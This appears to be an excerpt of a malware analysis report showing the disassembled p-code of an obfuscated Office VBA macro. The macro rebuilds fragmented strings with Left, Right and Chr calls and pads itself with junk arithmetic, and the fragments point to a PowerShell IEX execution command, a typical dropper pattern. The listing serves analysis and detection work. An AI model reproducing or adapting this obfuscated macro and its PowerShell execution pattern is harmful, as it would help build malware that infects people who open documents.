' 	LitStr 0x0051 "viiqkfNJxUOk4& ((VArIFba' V1W4Vowershell  IEx( (VzzYORMg67JJALnszy89pfZ10AJyS3Mgw"
' 	St zGzbMq 
' Line #5:
' 	Ld zGzbMq 
' 	LitDI2 0x0032 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0011 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld zGzbMq 
' 	LitDI2 0x0039 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld zGzbMq 
' 	LitDI2 0x0044 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0008 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St rrkIcU 
' Line #6:
' Line #7:
' 	LitStr 0x002D "viiqkfNr*aWk4dALzABLe aWf*M1W4VPcvNVlyo3fpmYE"
' 	St ERzmSDYK 
' Line #8:
' 	Ld ERzmSDYK 
' 	LitDI2 0x001C 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000A 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld ERzmSDYK 
' 	LitDI2 0x0020 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld ERzmSDYK 
' 	LitDI2 0x0026 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0004 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St hKAZijX 
' Line #9:
' Line #10:
' 	LitStr 0x0024 "RBviiqkfNJxUOf).NAme[3'FbaXRV1W4,1cv"
' 	St VjFZdj 
' Line #11:
' 	Ld VjFZdj 
' 	LitDI2 0x0017 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0008 
' 	ArgsLd Left 0x0002 
' 	Ld VjFZdj 
' 	LitDI2 0x000F 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld VjFZdj 
' 	LitDI2 0x0004 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld VjFZdj 
' 	LitDI2 0x000E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St niRhZZF 
' Line #12:
' Line #13:
' 	LitDI2 0x002B 
' 	ArgsLd Chr 0x0001 
' 	St twnbiwcrFDH 
' Line #14:
' 	Ld hJTfbsUzz 
' 	LitDI4 0x6439 0x000A 
' 	Coerce (Dbl) 
' 	Sub 
' 	Ld iWBMhRLm 
' 	Add 
' 	Ld wiiMni 
' 	LitDI4 0xCB74 0x000C 
' 	Ld tCwYCJRm 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Div 
' 	FnFix 
' 	Add 
' 	LitDI4 0xC04D 0x0000 
' 	Ld FIHZVN 
' 	Ld zEnChZ 
' 	Sub 
' 	LitDI4 0x11C0 0x0001 
' 	Sub 
' 	Ld awCfpCD 
' 	Coerce (Lng) 
' 	Add 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI4 0xF6C5 0x0006 
' 	Mul 
' 	LitDI4 0x6439 0x000A 
' 	FnFix 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St jlvrKpsl 
' Line #15:
' 	LitStr 0x0036 "iqkfNJxUOf)CALzpEzoF'1,2]-JOInaWfVlyo(fpmYErUuVzaWORMg"
' 	St aWrdYtkA 
' Line #16:
' 	Ld aWrdYtkA 
' 	LitDI2 0x0022 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000C 
' 	ArgsLd Left 0x0002 
' 	Ld aWrdYtkA 
' 	LitDI2 0x0016 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld aWrdYtkA 
' 	LitDI2 0x0006 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld aWrdYtkA 
' 	LitDI2 0x002D 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld aWrdYtkA 
' 	LitDI2 0x0011 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	St UNAGbMzn 
' Line #17:
' Line #18:
' 	LitStr 0x0024 "RBviiqkfNJxUO(aWfD47nsaFbaXRV1W4adcv"
' 	St jPzUbp 
' Line #19:
' 	Ld jPzUbp 
' 	LitDI2 0x0017 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0008 
' 	ArgsLd Left 0x0002 
' 	Ld jPzUbp 
' 	LitDI2 0x000F 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld jPzUbp 
' 	LitDI2 0x0004 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld jPzUbp 
' 	LitDI2 0x000E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St ibUjfTF 
' Line #20:
' Line #21:
' 	LitStr 0x0009 "LzNaWfvii"
' 	St SnXbkohu 
' Line #22:
' 	Ld SnXbkohu 
' 	LitDI2 0x0006 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld SnXbkohu 
' 	LitDI2 0x0004 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St kRfXk 
' Line #23:
' Line #24:
' 	LitDI2 0x002B 
' 	ArgsLd Chr 0x0001 
' 	St WChNJv 
' Line #25:
' 	LitStr 0x0015 "dRBviiWfaWfsaOk4CALzp"
' 	St GZdPNiQmkbs 
' Line #26:
' 	Ld GZdPNiQmkbs 
' 	LitDI2 0x000D 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0005 
' 	ArgsLd Left 0x0002 
' 	Ld GZdPNiQmkbs 
' 	LitDI2 0x000F 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld GZdPNiQmkbs 
' 	LitDI2 0x000E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St TKoDEvbQM 
' Line #27:
' Line #28:
' 	LitDI2 0x002B 
' 	ArgsLd Chr 0x0001 
' 	St XvdOswp 
' Line #29:
' 	LitStr 0x0015 "dRBviiWfaWfdaOk4CALzp"
' 	St SwNdU 
' Line #30:
' 	Ld SwNdU 
' 	LitDI2 0x000D 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0005 
' 	ArgsLd Left 0x0002 
' 	Ld SwNdU 
' 	LitDI2 0x000F 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld SwNdU 
' 	LitDI2 0x000E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St suqFQwCkAi 
' Line #31:
' Line #32:
' 	LitDI2 0x002B 
' 	ArgsLd Chr 0x0001 
' 	St tzori 
' Line #33:
' 	Ld uwMSSjD 
' 	LitDI4 0x736C 0x0008 
' 	Coerce (Dbl) 
' 	Sub 
' 	Ld zaSMNTPAhQr 
' 	Add 
' 	Ld iCAABaXq 
' 	LitDI4 0xE848 0x0007 
' 	Ld BXqbGdhdFh 
…

Open this report in the interactive analyzer, or submit your own file for analysis.